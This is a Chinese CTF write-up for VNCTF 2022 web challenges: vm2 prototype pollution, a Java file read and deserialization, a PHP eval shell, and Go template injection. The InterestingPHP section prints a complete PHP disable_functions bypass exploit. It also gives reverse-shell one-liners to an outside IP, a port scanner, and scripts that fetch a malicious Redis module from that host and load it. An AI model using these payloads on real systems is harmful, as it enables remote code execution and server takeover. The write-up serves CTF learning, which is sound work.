0%

VNCTF 2022 web

前言

复现一下vnctf

GameV4.0

签到

在这里插入图片描述

newcalc0

源码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});

app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})

app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});

app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

flag路由下拿到flag的条件是 Object.keys(Object.prototype).length > 0 然后是用的vm2,可以利用逃逸进行污染,但是题目环境全部为最新包。前一段时间 nodejs 更新了三个漏洞,其中一个是原型污染 CVE-2022-21824

January 10th 2022 Security Releases | Node.js (nodejs.org)

Due to the formatting logic of the function it was not safe to allow user controlled input to be passed to the parameter while simultaneously passing a plain object with at least one property as the first parameter, which could be . The prototype pollution has very limited control, in that it only allows an empty string to be assigned to numerical keys of the object prototype.console.table() properties __proto__

就是说 console.table会污染 Object的原型对象,使其被污染为 {‘0’:’’}

但是本地nodejs 14报错,不清楚为什么,网上找了个低版本出现预期看到的结果,另外在DiceCTF2022中有同样的一道题目 vm-calc

出题人博客:https://brycec.me/posts/dicectf_2022_writeups

在这里插入图片描述

payload:console.table([{x:1}], [“__proto__“]);

easyJava

存在任意文件读,wp采用了 netdoc协议与 file 协议相同,补充了个知识点,然后读取相关class文件,在JDK 9之后,netdoc协议将会失效。

/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/

/file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/

在这里插入图片描述

在这里插入图片描述

Secr3t.class经过反编译:三个点 随机生成key 还有个 check函数getFlag函数

在这里插入图片描述

再看一下helloworld.class反编译后发现是个servlet,对应路由为 /evi1:首先实例化了一个对象user

在这里插入图片描述

然后在处理post请求时,接受参数key,base64解码后反序列化,如果与this.user相同,就得到flag

在这里插入图片描述

在处理get请求时,明显存在问题,相同的输入,输出却不同,这里并没有进行多线程请求的处理,可以利用条件竞争导致servlet出错,进而绕过第一个if,得到key

在这里插入图片描述

竞争脚本:直接拿wp的脚本跑

a.py

import requests
host = "http://7a75dd5e-b987-4400-85a1-454c19504d0a.node4.buuoj.cn:81/"
while True:
r = requests.get(host+"evi1?name=asdqwer")
r.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)
if(r.text.replace(" ","")!=""):
print(r.text

b.py

import requests
host = "http://7a75dd5e-b987-4400-85a1-454c19504d0a.node4.buuoj.cn:81/"
while True:
r = requests.get(host+"evi1?name=vnctf2022")
r.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)

算了,buu爆不出来,调整sleep也不行,构造反序列化

User u = new User("m4n_q1u_666","666","180:)
byte[] ustr = SerAndDe.serialize(u);
String poc = Base64.getEncoder().encodeToString(ustr);
System.out.println(poc);

还有 height被 transient 所修饰,序列化的时候需要重写writeObject

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.height);
}

post打过去就行了

InterestingPHP

  • redis 主从复制rce
  • bypass disable_functions

开局一句话

<?php highlight_file(__FILE__); @eval($_GET['exp']);?>

phpinfo()被ban,几个系统命令无法执行,var_dump(scandir(‘./‘)); 发现 index.php 和 secret.rdb

看了几份wp,收获几个信息收集的姿势,读取配置信息

var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all()); //发现diff

解法一–bypass disable

直接利用 bypass 的exp命令执行,fwrite函数被ban,exp中改为fputs exploits/exploit.php at master · mm0r1/exploits (github.com)

三个需要注意的点

  • hackbar选择 multipart/form-data
  • ——WebKitFormBoundarygKA0mBRa2KfAuNWw(—) 去除最后面的—
  • 添加 Content-Disposition: form-data; name=”a”
POST /?exp=eval($_POST[a]); HTTP/1.1
Host: 198d7af9-a9a0-419d-9605-73eea78ae10d.node4.buuoj.cn:81
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygKA0mBRa2KfAuNWw
Content-Length: 6869

------WebKitFormBoundarygKA0mBRa2KfAuNWw
Content-Disposition: form-data; name="a"

pwn('whoami');
#pwn($_POST[1]);

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}

在这里插入图片描述

反弹shell

pwn("bash -c 'exec bash -i &>/dev/tcp/1.116.110.61/3000 <&1'");

读取flag没有权限,那就是提权的事喽,pkexec提权走起

在这里插入图片描述

解法二–加载恶意so文件 RCE

探测目录文件,发现 secret.rdb

下载下来发现是一个redis的数据备份文件,猜测密码为ye_w4nt_a_gir1fri3nd,尝试主从复制打redis

但发现端口并不是6379,所以这里需要探测一下端口

<?php
highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
for($i=0;$i<65535;$i++) {
$t=file_get_contents('http://127.0.0.1:'.$i);
if(!strpos(error_get_last()['message'], "Connection refused")) {
var_dump($i);
}
}

写入扫描php文件

/?exp=eval(file_put_contents("a.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

发现80和8888

在这里插入图片描述

利⽤ get_loaded_extensions() 可以看到PHP加载的插件,从中可以看到题⽬环境中加载了PHP的redis插件 (redis.so),翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。利用 file_put_contents() 写恶意so文件,接着载入恶意.so文件模块,反弹shell至远程主机

利用curl+file_put_contents写入so文件 n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

import requests

url = "http://9d7d7c0d-01b5-4286-b79b-beefdccc37f6.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
headers = {"content-type": "application/x-www-form-urlencoded"}
pay = "http://1.116.110.61:8000/exp.so"
payload = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
file_put_contents("exp.so",$result);
}

Curl("''' + pay + '''");
'''.strip()

data = {
0: payload
}
r = requests.post(url, data, headers=headers).text
print(r)

利用 rawCommand() 执行redis命令,反弹shell

import base64
import requests

url = "http://9d7d7c0d-01b5-4286-b79b-beefdccc37f6.node4.buuoj.cn:81/?exp=eval(base64_decode($_POST[0]));"
payload = '''
$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/1.116.110.61/3000 0>&1'");
'''
payload=base64.b64encode(payload.encode(encoding="utf-8"))
data = {
0: payload
}
r = requests.post(url, data=data).text
print(r)

成功

在这里插入图片描述

解法三– gopher攻击认证redis(失败)

之前极客大挑战中有一道题目givemeyourlove,利用ssrf攻击认证redis写webshell,所以这道题我想尝试一下攻击认证redis反弹shell,首先gopher生成反弹shell的 payload

在这里插入图片描述

添加认证

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%2420%0d%0aye_w4nt_a_gir1fri3nd%0D%0A

在这里插入图片描述

最后没能成功

gocalc0

非预期

session中有一段base64,解码得到flag

预期解

在这里插入图片描述

go的SSTI 利用 printf 和占位符打印出源码,payload:

{{printf "%+v" .}} 或者 {{.}}

Go语言的%d,%p,%v等占位符的使用 - 简书 (jianshu.com)

Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)

Go SSTI初探 | tyskillのBlog

package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()

if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}

func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
session := sessions.Default(c)

var his string

if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}

fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}

func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}

r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))

r.GET("/", func(c *gin.Context) {
render(c)
})

r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})

r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)

var his string

if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}

eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "<br/>"
}
session.Set("history", his)
session.Save()
render(c)
})

r.Run(fmt.Sprintf(":%s", port))
}

本地起一个

package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)

func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}

r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))

r.GET("/", func(c *gin.Context) {
session := sessions.Default(c)
println(session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}